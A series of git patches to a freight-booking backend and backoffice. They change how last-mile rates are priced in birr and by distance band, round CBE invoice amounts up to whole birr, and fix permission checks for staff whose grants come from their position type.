From 69f6fd36a94724515e705992fad0529173e14502 Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Thu, 6 Aug 2026 08:01:52 +0000 Subject: [PATCH 01/48] fix(rates): render stored rate currency, default last mile to birr The rate matrix currency cell hardcoded USD, so a last-mile rate priced in ETB still displayed as dollars. formatCell now takes the row and reads its currency code, falling back to USD. Last-mile currency select gets defaultValue ETB (new generic FormFieldDef.defaultValue for create-time pre-selection) and lists ETB (Birr) first; USD stays selectable. Backend already persisted and validated the chosen currency. --- .../src/modules/last-mile/last-mile.service.ts | 17 +++++++++++++++-- .../repositories/yards.repository.ts | 6 ++++++ .../ruleEngine/RuleEngineCardGrid.tsx | 2 +- .../ruleEngine/RuleEngineFormDialog.tsx | 2 ++ .../components/ruleEngine/ruleEngineFormat.tsx | 11 +++++++++-- .../pages/ruleEngine/RuleEngineResourcePage.tsx | 2 +- .../src/pages/ruleEngine/config/resources.ts | 6 +++++- 7 files changed, 39 insertions(+), 7 deletions(-) diff --git a/apps/edr-freight-api/src/modules/last-mile/last-mile.service.ts b/apps/edr-freight-api/src/modules/last-mile/last-mile.service.ts index ec7d4ccf6..8ed5ae8aa 100644 --- a/apps/edr-freight-api/src/modules/last-mile/last-mile.service.ts +++ b/apps/edr-freight-api/src/modules/last-mile/last-mile.service.ts @@ -460,8 +460,21 @@ export class LastMileService { @OnEvent("last_mile.invoice.paid") async onBookingInvoicePaid(payload: InvoiceEventPayload): Promise { try { - // Invoice paid → the delivery is complete. Route through update() so it - // also frees the trucks + records history (same as "Mark Delivered"). + if (payload.type === 'LAST_MILE_ADVANCE') { + // Advance paid → the leg becomes dispatchable, not delivered. + await this.update(payload.sourceId, { + status: 'READY_TO_TRANSIT', + advancedPayment: payload.totalAmount, + } as unknown as UpdateLastMileDto); + this.logger.log( + `Last-mile ${payload.sourceId} READY_TO_TRANSIT on advance invoice ${payload.invoiceId} payment`, + ); + return; + } + if (payload.type !== 'DELIVERY_FEE') return; + // Delivery-fee invoice paid → the delivery is complete. Route through + // update() so it also frees the trucks + records history (same as + // "Mark Delivered"). await this.update(payload.sourceId, { status: 'DELIVERED', paid: true } as unknown as UpdateLastMileDto); this.logger.log(`Last-mile ${payload.sourceId} marked DELIVERED on invoice ${payload.invoiceId} payment`); } catch (err) { diff --git a/apps/edr-freight-api/src/modules/rule-engine/repositories/yards.repository.ts b/apps/edr-freight-api/src/modules/rule-engine/repositories/yards.repository.ts index 5db5b72ae..b99b33a29 100644 --- a/apps/edr-freight-api/src/modules/rule-engine/repositories/yards.repository.ts +++ b/apps/edr-freight-api/src/modules/rule-engine/repositories/yards.repository.ts @@ -43,6 +43,12 @@ export class YardsRepository implements IYardsRepository { findPaged(query: ListYardsQueryDto): Promise> { const qb = this.repo .createQueryBuilder('yard') + // createQueryBuilder does NOT auto-apply the soft-delete filter that + // repo.find()/findOne() get for free — without this, a renamed/replaced + // yard (e.g. an old "DMP" superseded by a new one) still shows up + // alongside the live one in every picker built off this endpoint, and a + // route picked against the dead yard id never matches any LIVE rate. + .where('yard.deleted_at IS NULL') .orderBy(`yard.${query.sortBy ?? 'displayOrder'}`, query.sortOrder ?? 'ASC') .addOrderBy('yard.label', 'ASC'); diff --git a/apps/edr-freight-web/backoffice/src/components/ruleEngine/RuleEngineCardGrid.tsx b/apps/edr-freight-web/backoffice/src/components/ruleEngine/RuleEngineCardGrid.tsx index 392bf6dfb..762f5bc84 100644 --- a/apps/edr-freight-web/backoffice/src/components/ruleEngine/RuleEngineCardGrid.tsx +++ b/apps/edr-freight-web/backoffice/src/components/ruleEngine/RuleEngineCardGrid.tsx @@ -234,7 +234,7 @@ const RuleEngineCardGrid = ({ {col.header}:
- {formatCell(displayValue, col.format)} + {formatCell(displayValue, col.format, record)}
); diff --git a/apps/edr-freight-web/backoffice/src/components/ruleEngine/RuleEngineFormDialog.tsx b/apps/edr-freight-web/backoffice/src/components/ruleEngine/RuleEngineFormDialog.tsx index d205aae26..4684a3ad1 100644 --- a/apps/edr-freight-web/backoffice/src/components/ruleEngine/RuleEngineFormDialog.tsx +++ b/apps/edr-freight-web/backoffice/src/components/ruleEngine/RuleEngineFormDialog.tsx @@ -127,6 +127,8 @@ const buildInitialValues = ( } else { values[field.name] = raw; } + } else if (field.defaultValue !== undefined) { + values[field.name] = field.defaultValue; } else if (field.type === "boolean") { values[field.name] = false; } else if (field.type === "number") { diff --git a/apps/edr-freight-web/backoffice/src/components/ruleEngine/ruleEngineFormat.tsx b/apps/edr-freight-web/backoffice/src/components/ruleEngine/ruleEngineFormat.tsx index 173c75b5f..529f53a43 100644 --- a/apps/edr-freight-web/backoffice/src/components/ruleEngine/ruleEngineFormat.tsx +++ b/apps/edr-freight-web/backoffice/src/components/ruleEngine/ruleEngineFormat.tsx @@ -17,7 +17,13 @@ const extractLabel = (value: unknown): string | null => { ); }; -export const formatCell = (value: unknown, format?: ColumnFormat): ReactNode => { +export const formatCell = ( + value: unknown, + format?: ColumnFormat, + // The row the cell came from — currency amounts read their code off it so a + // last-mile rate priced in birr does not render as USD. + row?: Record, +): ReactNode => { if (value === null || value === undefined || value === "") { return ; } @@ -109,9 +115,10 @@ export const formatCell = (value: unknown, format?: ColumnFormat): ReactNode => if (format === "currency") { const num = Number(value); + const code = typeof row?.currency === "string" ? row.currency : "USD"; return ( - {Number.isNaN(num) ? String(value) : `USD ${num.toLocaleString()}`} + {Number.isNaN(num) ? String(value) : `${code} ${num.toLocaleString()}`} ); } diff --git a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx index 3a0a36ce4..5d1d45889 100644 --- a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx @@ -501,7 +501,7 @@ const RuleEngineResourcePage = () => { header: col.header, meta: { headerClassName, cellClassName }, cell: ({ row }) => { - const cell = formatCell(row.original[col.accessorKey], col.format); + const cell = formatCell(row.original[col.accessorKey], col.format, row.original); // On the rate column, show the proposed value under the live one — the // live value stays the headline because it is what still gets charged. if (!isRates || col.accessorKey !== "rateValue") return cell; diff --git a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/config/resources.ts b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/config/resources.ts index a51b542c2..a674a21eb 100644 --- a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/config/resources.ts +++ b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/config/resources.ts @@ -70,6 +70,8 @@ export interface FormFieldDef { * relation list (`wagonTypeIds` read from `record.wagonTypes`). */ getInitialValue?: (record: Record) => unknown; + /** Pre-selected value on create (no record yet) — e.g. last-mile currency = ETB. */ + defaultValue?: string; /** * Fully derived field: its value is computed from the live form values on * every render and the input is locked. Used for the priority-rule min @@ -297,8 +299,8 @@ export const rateUnitOptions = ( }; const CURRENCIES = [ + { label: "ETB (Birr)", value: "ETB" }, { label: "USD", value: "USD" }, - { label: "ETB", value: "ETB" }, ]; const PRIORITY_CONFIG_TYPES = [ @@ -1020,6 +1022,8 @@ export const RULE_ENGINE_RESOURCES: RuleEngineResourceConfig[] = [ required: true, options: CURRENCIES, showWhen: { field: "appliesTo", equals: ["LAST_MILE"] }, + // Birr is the norm for domestic trucking; USD stays selectable. + defaultValue: "ETB", getInitialValue: (record) => String(record.currency ?? "ETB"), }, // ── Distance tiers (create only — the page swaps this for the single From 95fad6f095336584ed6f232db621550ba14b1e2d Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Thu, 6 Aug 2026 08:42:13 +0000 Subject: [PATCH 02/48] Bulk (per ton per km) last-mile rates now carry From/To km bands like container mode: the Add Rate dialog offers the multi-tier editor in both modes, each tier is created as its own rate row, and overlapping bulk bands are rejected. Pricing picks the tier whose half-open band holds the trip km, falling back to the legacy bandless bulk rate. --- .../src/common/last-mile-charge.util.spec.ts | 42 +++++++++++++ .../src/common/last-mile-charge.util.ts | 18 ++++-- .../rule-engine/services/rates.service.ts | 63 ++++++++++++------- .../ruleEngine/RuleEngineResourcePage.tsx | 51 ++++++--------- .../src/pages/ruleEngine/config/resources.ts | 11 ++-- 5 files changed, 125 insertions(+), 60 deletions(-) diff --git a/apps/edr-freight-api/src/common/last-mile-charge.util.spec.ts b/apps/edr-freight-api/src/common/last-mile-charge.util.spec.ts index e2ff1bfd9..e60bf4f4e 100644 --- a/apps/edr-freight-api/src/common/last-mile-charge.util.spec.ts +++ b/apps/edr-freight-api/src/common/last-mile-charge.util.spec.ts @@ -85,6 +85,48 @@ describe('computeLastMileCharge', () => { expect(charge).toMatchObject({ mode: 'BULK', total: 60 * 26 * 25, currency: 'ETB' }); }); + it('picks the bulk rate whose distance band holds the km (half-open boundary)', () => { + const bulkNear = rate({ rateUnit: 'PER_TON_KM', rateValue: 30, minKm: 0, maxKm: 30 }); + const bulkFar = rate({ rateUnit: 'PER_TON_KM', rateValue: 22, minKm: 30, maxKm: null }); + const near = computeLastMileCharge({ + freightType: 'BULK', + tons: 10, + km: 12, + containers: [], + liveRates: [bulkNear, bulkFar], + }); + expect(near).toMatchObject({ mode: 'BULK', total: 10 * 12 * 30 }); + const boundary = computeLastMileCharge({ + freightType: 'BULK', + tons: 10, + km: 30, + containers: [], + liveRates: [bulkNear, bulkFar], + }); + expect(boundary).toMatchObject({ total: 10 * 30 * 22 }); + }); + + it('bulk falls back to the legacy bandless rate when no band holds the km, null when nothing covers it', () => { + const bulkNear = rate({ rateUnit: 'PER_TON_KM', rateValue: 30, minKm: 0, maxKm: 30 }); + const fallback = computeLastMileCharge({ + freightType: 'BULK', + tons: 10, + km: 50, + containers: [], + liveRates: [bulkNear, bulkRate], // bulkRate has no band + }); + expect(fallback).toMatchObject({ total: 10 * 50 * 25 }); + expect( + computeLastMileCharge({ + freightType: 'BULK', + tons: 10, + km: 50, + containers: [], + liveRates: [bulkNear], + }), + ).toBeNull(); + }); + it('returns null on mixed currencies, unknown km, and uncovered freight types', () => { const usd40 = rate({ ...band40a, currency: 'USD' }); expect( diff --git a/apps/edr-freight-api/src/common/last-mile-charge.util.ts b/apps/edr-freight-api/src/common/last-mile-charge.util.ts index 706e21238..055e8e5f9 100644 --- a/apps/edr-freight-api/src/common/last-mile-charge.util.ts +++ b/apps/edr-freight-api/src/common/last-mile-charge.util.ts @@ -30,10 +30,12 @@ const round2 = (n: number): number => Math.round(n * 100) / 100; /** * Price a last-mile leg off the LIVE rate rules. Pure — pass the live rates in. * - * BULK: one PER_TON_KM rate → price = tons × km × rate. + * BULK: the PER_TON_KM rate whose distance band holds the km (a legacy + * bandless row — NULL minKm — is the fallback and prices every distance) → + * price = tons × km × rate. * CONTAINER: per container size, the PER_KM rate whose distance band holds the - * km (bands are half-open [minKm, maxKm), NULL maxKm = open-ended) → price = - * km × rate × quantity, summed across sizes. + * km → price = km × rate × quantity, summed across sizes. + * Bands are half-open [minKm, maxKm), NULL maxKm = open-ended. * * Returns null whenever the rules don't fully cover the shipment (no rate, a * container size without a matching band, mixed currencies, km/tons unknown) — @@ -56,7 +58,15 @@ export function computeLastMileCharge(input: { if (freightType === 'BULK') { if (!tons || tons <= 0) return null; - const rate = candidates.find((r) => r.rateUnit === 'PER_TON_KM'); + const bulkRates = candidates.filter((r) => r.rateUnit === 'PER_TON_KM'); + const rate = + bulkRates.find( + (r) => + r.minKm !== null && + r.minKm !== undefined && + Number(r.minKm) <= km && + (r.maxKm === null || r.maxKm === undefined || km < Number(r.maxKm)), + ) ?? bulkRates.find((r) => r.minKm === null || r.minKm === undefined); if (!rate) return null; const unitRate = Number(rate.rateValue); const amount = round2(tons * km * unitRate); diff --git a/apps/edr-freight-api/src/modules/rule-engine/services/rates.service.ts b/apps/edr-freight-api/src/modules/rule-engine/services/rates.service.ts index 5645334e5..971097377 100644 --- a/apps/edr-freight-api/src/modules/rule-engine/services/rates.service.ts +++ b/apps/edr-freight-api/src/modules/rule-engine/services/rates.service.ts @@ -7,7 +7,7 @@ import { NotFoundException, } from '@nestjs/common'; import { PaginatedResponse, YardCountry } from '@edr/types'; -import { Not } from 'typeorm'; +import { IsNull, Not } from 'typeorm'; import { CreateRateDto } from '../dto/create-rate.dto'; import { ListRatesQueryDto } from '../dto/list-rule-engine-query.dto'; import { UpdateRateDto } from '../dto/update-rate.dto'; @@ -344,11 +344,12 @@ export class RatesService { /** * Validate and normalise the last-mile band fields for a rate shape. * - * Last-mile rates come in two calculation modes: bulk (PER_TON_KM — price = - * tons × km × rate, one row, no scope) and container (PER_KM — one row per - * container type per distance band, price = km × rate × quantity). Every - * other rate shape has its band fields cleared, mirroring how yard scope is - * cleared for non-route rates. + * Last-mile rates come in two calculation modes: bulk (PER_TON_KM — one row + * per distance band, price = tons × km × rate) and container (PER_KM — one + * row per container type per distance band, price = km × rate × quantity). + * A bandless bulk row (NULL minKm) is the legacy pre-band shape and still + * prices every distance. Every other rate shape has its band fields cleared, + * mirroring how yard scope is cleared for non-route rates. */ private resolveLastMileBand(input: { appliesTo: Rate['appliesTo']; @@ -366,7 +367,21 @@ export class RatesService { 'A bulk last-mile rate (per ton per km) cannot be scoped to a container type.', ); } - return { minKm: null, maxKm: null }; + const minKm = input.minKm ?? null; + const maxKm = input.maxKm ?? null; + if (minKm === null) { + if (maxKm !== null) { + throw new BadRequestException( + '"To km" needs a "From km" — set the band start (0 for the first tier).', + ); + } + // Legacy bandless bulk rate — prices every distance. + return { minKm: null, maxKm: null }; + } + if (maxKm !== null && maxKm <= minKm) { + throw new BadRequestException('"To km" must be greater than "From km".'); + } + return { minKm, maxKm }; } if (rateUnit === 'PER_KM') { @@ -393,14 +408,16 @@ export class RatesService { } /** - * Reject a container last-mile band that overlaps an existing band for the - * same container type. Bands are half-open [minKm, maxKm) with NULL maxKm = - * open-ended, so 0–30 and 30–∞ tile cleanly. Checked across every - * non-superseded row (DRAFT included) — two drafts with colliding bands would - * only defer the conflict to approval. + * Reject a last-mile band that overlaps an existing band for the same scope — + * container bands collide per container type (PER_KM), bulk bands collide + * with each other (PER_TON_KM, no container scope). Bands are half-open + * [minKm, maxKm) with NULL maxKm = open-ended, so 0–30 and 30–∞ tile + * cleanly. Checked across every non-superseded row (DRAFT included) — two + * drafts with colliding bands would only defer the conflict to approval. */ private async assertNoBandOverlap(input: { - containerTypeId: string; + rateUnit: 'PER_KM' | 'PER_TON_KM'; + containerTypeId: string | null; minKm: number; maxKm: number | null; ignoreId?: string; @@ -408,8 +425,8 @@ export class RatesService { const siblings = await this.repository.findAll({ where: { rateType: 'LAST_MILE', - rateUnit: 'PER_KM', - containerTypeId: input.containerTypeId, + rateUnit: input.rateUnit, + containerTypeId: input.containerTypeId ?? IsNull(), status: Not('SUPERSEDED'), }, }); @@ -425,7 +442,7 @@ export class RatesService { if (input.minKm < sibMax && sibMin < newMax) { const sibLabel = `${sibMin}–${sibMax === Number.POSITIVE_INFINITY ? 'open' : sibMax} km`; throw new ConflictException( - `This distance band overlaps the existing ${sibLabel} band for this container type. Adjust the ranges so each distance falls in exactly one band.`, + `This distance band overlaps the existing ${sibLabel} band for ${input.rateUnit === 'PER_TON_KM' ? 'bulk last-mile' : 'this container type'}. Adjust the ranges so each distance falls in exactly one band.`, ); } } @@ -538,8 +555,12 @@ export class RatesService { minKm: dto.minKm, maxKm: dto.maxKm, }); - if (appliesTo === 'LAST_MILE' && rateUnit === 'PER_KM' && containerTypeId && minKm !== null) { - await this.assertNoBandOverlap({ containerTypeId, minKm, maxKm }); + if ( + appliesTo === 'LAST_MILE' && + (rateUnit === 'PER_KM' || rateUnit === 'PER_TON_KM') && + minKm !== null + ) { + await this.assertNoBandOverlap({ rateUnit, containerTypeId, minKm, maxKm }); } await this.assertNoDuplicatePattern({ @@ -742,12 +763,12 @@ export class RatesService { updates.maxKm = maxKm; if ( appliesTo === 'LAST_MILE' && - rateUnit === 'PER_KM' && - updates.containerTypeId && + (rateUnit === 'PER_KM' || rateUnit === 'PER_TON_KM') && minKm !== null ) { await this.assertNoBandOverlap({ - containerTypeId: updates.containerTypeId, + rateUnit, + containerTypeId: updates.containerTypeId ?? null, minKm, maxKm, ignoreId: id, diff --git a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx index 5d1d45889..885fcb82b 100644 --- a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx @@ -306,34 +306,27 @@ const RuleEngineResourcePage = () => { const formFields = useMemo(() => { if (!config) return []; - // Last-mile container bands: creating uses the multi-row tier list (one - // rate per tier); editing an existing band row keeps the single - // From/To/value fields (a rate row IS one band). + // Last-mile bands (both modes): creating uses the multi-row tier list (one + // rate per tier, each tier carrying its own rate value); editing an + // existing band row keeps the single From/To/value fields (a rate row IS + // one band). const bandFields = config.formFields.filter((field) => { if (config.slug !== "rates") return true; if (field.type === "tierList") return !editing; if (editing) return true; - return field.name !== "minKm" && field.name !== "maxKm"; - }); - return bandFields.map((field) => { - // On create, the tier rows carry the per-band rate values — the single - // last-mile "Rate value" field then only applies to bulk mode. + // On create the tier rows carry From/To/value — drop the single fields, + // including the last-mile "Rate value" (the non-last-mile one keeps its + // own showIf). if ( - config.slug === "rates" && - !editing && field.name === "rateValue" && field.showWhen?.field === "appliesTo" && field.showWhen.equals.includes("LAST_MILE") ) { - return { - ...field, - showWhen: undefined, - showIf: (values: Record) => - values.appliesTo === "LAST_MILE" && values.lastMileMode === "BULK", - }; + return false; } - return field; - }).map((field) => { + return field.name !== "minKm" && field.name !== "maxKm"; + }); + return bandFields.map((field) => { if (isPriorityRules && field.name === "minWagonCount") { return { ...field, @@ -621,19 +614,15 @@ const RuleEngineResourcePage = () => { currency: isLastMile ? (values.currency ?? "ETB") : "USD", trigger: isSurcharge ? values.trigger : "ALWAYS", ...(isLastMile - ? lastMileMode === "BULK" - ? { - rateUnit: "PER_TON_KM", - containerTypeId: undefined, - minKm: undefined, - maxKm: undefined, - } - : { - rateUnit: "PER_KM", - // Empty "To km" means an open-ended band — send null so an - // edit can clear a previously-set ceiling. - maxKm: values.maxKm ?? null, - } + ? { + // Empty "To km" means an open-ended band — send null so an + // edit can clear a previously-set ceiling. On create the tier + // spread below overrides the band fields per tier. + maxKm: values.maxKm ?? null, + ...(lastMileMode === "BULK" + ? { rateUnit: "PER_TON_KM", containerTypeId: undefined } + : { rateUnit: "PER_KM" }), + } : {}), }; // Editing a LIVE rate files a change request — the rate keeps charging diff --git a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/config/resources.ts b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/config/resources.ts index a674a21eb..d5998515e 100644 --- a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/config/resources.ts +++ b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/config/resources.ts @@ -1003,7 +1003,8 @@ export const RULE_ENGINE_RESOURCES: RuleEngineResourceConfig[] = [ placeholder: "0", description: "Band start (inclusive). Use 0 for the first band.", showIf: (v) => - v.appliesTo === "LAST_MILE" && v.lastMileMode === "CONTAINER", + v.appliesTo === "LAST_MILE" && + (v.lastMileMode === "CONTAINER" || v.lastMileMode === "BULK"), }, { name: "maxKm", @@ -1013,7 +1014,8 @@ export const RULE_ENGINE_RESOURCES: RuleEngineResourceConfig[] = [ placeholder: "Leave empty for no upper limit", description: "Band end (exclusive) — a 0–30 band covers up to but not including 30 km.", showIf: (v) => - v.appliesTo === "LAST_MILE" && v.lastMileMode === "CONTAINER", + v.appliesTo === "LAST_MILE" && + (v.lastMileMode === "CONTAINER" || v.lastMileMode === "BULK"), }, { name: "currency", @@ -1035,9 +1037,10 @@ export const RULE_ENGINE_RESOURCES: RuleEngineResourceConfig[] = [ type: "tierList", required: true, description: - "One rate per distance range. To km is exclusive (0–30 then 30+); leave the last tier's To km empty for no upper limit.", + "One rate per distance range — the rate value is per km (container mode) or per ton per km (bulk mode). To km is exclusive (0–30 then 30+); leave the last tier's To km empty for no upper limit.", showIf: (v) => - v.appliesTo === "LAST_MILE" && v.lastMileMode === "CONTAINER", + v.appliesTo === "LAST_MILE" && + (v.lastMileMode === "CONTAINER" || v.lastMileMode === "BULK"), }, // ── Container type — Container freight, container-kind intercity, and // the empty-container return surcharge (20ft vs 40ft price differently) ─ From 23e756e0c7279d92bf57b73364ff6cecb6d95edc Mon Sep 17 00:00:00 2001 From: Nathnael Date: Thu, 6 Aug 2026 09:16:01 +0000 Subject: [PATCH 03/48] fix(billing): ceil CBE invoice amounts to whole birr --- .../modules/billing/billing.service.spec.ts | 63 +++++++++++++++++++ .../src/modules/billing/billing.service.ts | 12 +++- .../modules/payment/internal-payment.dto.ts | 6 +- .../payment/payment-events.consumer.ts | 1 + 4 files changed, 77 insertions(+), 5 deletions(-) diff --git a/apps/edr-freight-api/src/modules/billing/billing.service.spec.ts b/apps/edr-freight-api/src/modules/billing/billing.service.spec.ts index 1356f8cfa..6e25c72aa 100644 --- a/apps/edr-freight-api/src/modules/billing/billing.service.spec.ts +++ b/apps/edr-freight-api/src/modules/billing/billing.service.spec.ts @@ -668,3 +668,66 @@ describe("BillingService — CAC Bank (OTP debit)", () => { expect(confirmOtp).toHaveBeenCalledWith("intent-1", "123456"); }); }); + +describe("BillingService — CBE bill amounts round UP to whole birr", () => { + // CBE bills whole birr. Ceil, never Math.round: a .40 balance rounded down + // settles 0.40 short while markInvoiceAsPaid still writes paidAmount = + // totalAmount — money missing from the bank with the books saying paid. + // payInvoice and billQuery must agree, or /cbe/payment sees a mismatch. + const invoice = { + id: "inv-1", + status: Freight.InvoiceStatus.Pending, + source: Freight.InvoiceSource.Booking, + sourceId: "booking-1", + type: "PREPAID", + invoiceNumber: "INV-20260101-00001", + currency: "ETB", + // .40 — the case Math.round gets wrong (rounds down, underpays). + balanceAmount: 12345.4, + totalAmount: 12345.4, + company: { name: "Acme PLC" }, + paymentId: null, + dueAt: null, + }; + + const build = (payment: Record = {}) => { + const repo = { + findOne: jest.fn().mockResolvedValue(invoice), + update: jest.fn().mockResolvedValue(undefined), + }; + const service = new BillingService( + { getRepository: () => repo } as never, + {} as never, + {} as never, + makeEvents() as never, + payment as never, + {} as never, + {} as never, + ); + return { service, repo }; + }; + + it("opens the intent for the ceiled balance, never below it", async () => { + const initiate = jest.fn().mockResolvedValue({ + intentId: "intent-1", + immediateSuccess: false, + response: { intentId: "intent-1", status: "REQUIRES_ACTION" }, + }); + const { service } = build({ initiate }); + + await service.payInvoice("inv-1", { method: "CBE_BILL" }); + + expect(initiate).toHaveBeenCalledWith( + expect.objectContaining({ amountMinor: 12346 }), + ); + }); + + it("quotes the same ceiled amount on bill-query as payInvoice opened", async () => { + const { service } = build(); + + await expect(service.billQuery("booking-1")).resolves.toMatchObject({ + stillPayable: true, + currentAmountMinor: 12346, + }); + }); +}); diff --git a/apps/edr-freight-api/src/modules/billing/billing.service.ts b/apps/edr-freight-api/src/modules/billing/billing.service.ts index ea4413638..5051afd6e 100644 --- a/apps/edr-freight-api/src/modules/billing/billing.service.ts +++ b/apps/edr-freight-api/src/modules/billing/billing.service.ts @@ -1191,7 +1191,11 @@ export class BillingService { // service branches on a domain-specific reference type. referenceType: PaymentReferenceType.SHIPMENT, orderRef: invoice.invoiceNumber.replace(/-/g, "_"), - amountMinor: Math.round(Number(invoice.balanceAmount)), + // Whole birr, always UP. CBE bills this amount verbatim, so it must never + // land below the outstanding balance — Math.round would let a .40 balance + // settle 0.40 short. Ceil overcharges by <1 birr instead, and the same + // ceil in billQuery keeps the quoted and debited amounts identical. + amountMinor: Math.ceil(Number(invoice.balanceAmount)), currency: invoice.currency, reason: `Payment for invoice ${invoice.invoiceNumber}`, method: opts.method ?? "TELEBIRR", @@ -1336,7 +1340,9 @@ export class BillingService { }); if (open) { - const balance = Math.round(Number(open.balanceAmount ?? open.totalAmount)); + // Ceil, matching payInvoice — the amount CBE quotes at the counter has to + // be the amount the intent was opened for, or /cbe/payment sees a mismatch. + const balance = Math.ceil(Number(open.balanceAmount ?? open.totalAmount)); const expired = open.dueAt && open.dueAt.getTime() < Date.now(); return { stillPayable: balance > 0 && !expired, @@ -1371,7 +1377,7 @@ export class BillingService { return { stillPayable: false, payerName: latest.company?.name ?? null, - currentAmountMinor: Math.round(Number(latest.totalAmount)), + currentAmountMinor: Math.ceil(Number(latest.totalAmount)), currency: latest.currency, paymentReason: `Freight invoice ${latest.invoiceNumber}`, reason: closedInvoiceReason(latest.status), diff --git a/apps/edr-freight-api/src/modules/payment/internal-payment.dto.ts b/apps/edr-freight-api/src/modules/payment/internal-payment.dto.ts index e69a0e15a..f437000bd 100644 --- a/apps/edr-freight-api/src/modules/payment/internal-payment.dto.ts +++ b/apps/edr-freight-api/src/modules/payment/internal-payment.dto.ts @@ -1,8 +1,8 @@ import { IsEnum, IsIn, - IsInt, IsISO8601, + IsNumber, IsOptional, IsPositive, IsString, @@ -37,7 +37,9 @@ export class PaymentEventDto { @ApiProperty() @IsString() referenceId!: string; @ApiProperty() @IsString() merchantOrderId!: string; @ApiProperty({ enum: ProviderMethod }) @IsEnum(ProviderMethod) provider!: string; - @ApiProperty() @IsInt() @IsPositive() amountMinor!: number; + // Major units, fractional (payment-api stores it as double precision) — an + // invoice of 12345.67 must not be rejected by an integer-only validator. + @ApiProperty() @IsNumber() @IsPositive() amountMinor!: number; @ApiProperty() @IsString() currency!: string; @ApiPropertyOptional() @IsOptional() @IsString() providerTxnId?: string; diff --git a/apps/edr-freight-api/src/modules/payment/payment-events.consumer.ts b/apps/edr-freight-api/src/modules/payment/payment-events.consumer.ts index e285c181c..8dac9a9fd 100644 --- a/apps/edr-freight-api/src/modules/payment/payment-events.consumer.ts +++ b/apps/edr-freight-api/src/modules/payment/payment-events.consumer.ts @@ -1,6 +1,7 @@ import { Injectable, Logger, SetMetadata } from "@nestjs/common"; import { Nack, RabbitSubscribe } from "@golevelup/nestjs-rabbitmq"; import { Public } from "@edr/api-common"; +import { IgnoreLoggerAudit } from "@tria-plc/auditlog"; import { PAYMENT_EVENTS_DLX, PAYMENT_EVENTS_EXCHANGE, From ab7069e335f697d2cb45b594799c628cf9defb87 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Thu, 6 Aug 2026 10:26:32 +0000 Subject: [PATCH 04/48] fix --- .../src/modules/payment/payment-events.consumer.ts | 1 - 1 file changed, 1 deletion(-) diff --git a/apps/edr-freight-api/src/modules/payment/payment-events.consumer.ts b/apps/edr-freight-api/src/modules/payment/payment-events.consumer.ts index 8dac9a9fd..e285c181c 100644 --- a/apps/edr-freight-api/src/modules/payment/payment-events.consumer.ts +++ b/apps/edr-freight-api/src/modules/payment/payment-events.consumer.ts @@ -1,7 +1,6 @@ import { Injectable, Logger, SetMetadata } from "@nestjs/common"; import { Nack, RabbitSubscribe } from "@golevelup/nestjs-rabbitmq"; import { Public } from "@edr/api-common"; -import { IgnoreLoggerAudit } from "@tria-plc/auditlog"; import { PAYMENT_EVENTS_DLX, PAYMENT_EVENTS_EXCHANGE, From 3a2f1a46d6edb4db7736d9143cfb63fe25116a2d Mon Sep 17 00:00:00 2001 From: Marshal Date: Thu, 6 Aug 2026 13:24:42 +0000 Subject: [PATCH 05/48] fix(auth): resolve position-type permissions so GL staff can open clearance pages --- apps/edr-freight-api/src/app.module.ts | 4 + .../common/freight-permission.util.spec.ts | 72 +++++++++++ .../src/common/freight-permission.util.ts | 33 ++++- .../common/position-type-permissions.cache.ts | 83 +++++++++++++ .../src/modules/auth/freight-me.service.ts | 63 +++++++++- .../bookings/booking-invoice.service.ts | 15 +++ .../contract-booking.resubmit-cargo.spec.ts | 115 ++++++++++++++++++ .../contracts/contract-booking.service.ts | 21 +++- .../src/seed/freight-permissions.registry.ts | 15 ++- .../backoffice/src/auth/types.ts | 8 +- .../BookingChangesRequestedAlert.tsx | 18 ++- .../backoffice/src/lib/permissions.ts | 8 ++ .../contracts/ContractClearanceDetailPage.tsx | 1 + .../ChangesRequestedView.tsx | 21 +++- 14 files changed, 466 insertions(+), 11 deletions(-) create mode 100644 apps/edr-freight-api/src/common/position-type-permissions.cache.ts create mode 100644 apps/edr-freight-api/src/modules/contracts/contract-booking.resubmit-cargo.spec.ts diff --git a/apps/edr-freight-api/src/app.module.ts b/apps/edr-freight-api/src/app.module.ts index 73e19709e..f44d40d97 100644 --- a/apps/edr-freight-api/src/app.module.ts +++ b/apps/edr-freight-api/src/app.module.ts @@ -107,6 +107,7 @@ import { ImportOperationsModule } from "./modules/import-operations/import-opera import { AiModule } from "./modules/ai/ai.module"; import { LoggerMiddleware } from "./logger.middleware"; import { LoginAudienceMiddleware } from "./modules/auth/login-audience.middleware"; +import { PositionTypePermissionsCache } from "./common/position-type-permissions.cache"; @Module({ imports: [ @@ -251,6 +252,9 @@ import { LoginAudienceMiddleware } from "./modules/auth/login-audience.middlewar ApprovedFirstLastMileDemoBookingsSeeder, PaidImportExportMileDemoSeeder, LoginAudienceMiddleware, + // Feeds position-TYPE grants to the synchronous permission checks — without + // it, staff whose permissions live on their position type resolve to none. + PositionTypePermissionsCache, ], }) export class AppModule implements OnApplicationBootstrap { diff --git a/apps/edr-freight-api/src/common/freight-permission.util.spec.ts b/apps/edr-freight-api/src/common/freight-permission.util.spec.ts index d0d01535a..f3931f78a 100644 --- a/apps/edr-freight-api/src/common/freight-permission.util.spec.ts +++ b/apps/edr-freight-api/src/common/freight-permission.util.spec.ts @@ -1,6 +1,9 @@ import { assertCanApproveContractStep, 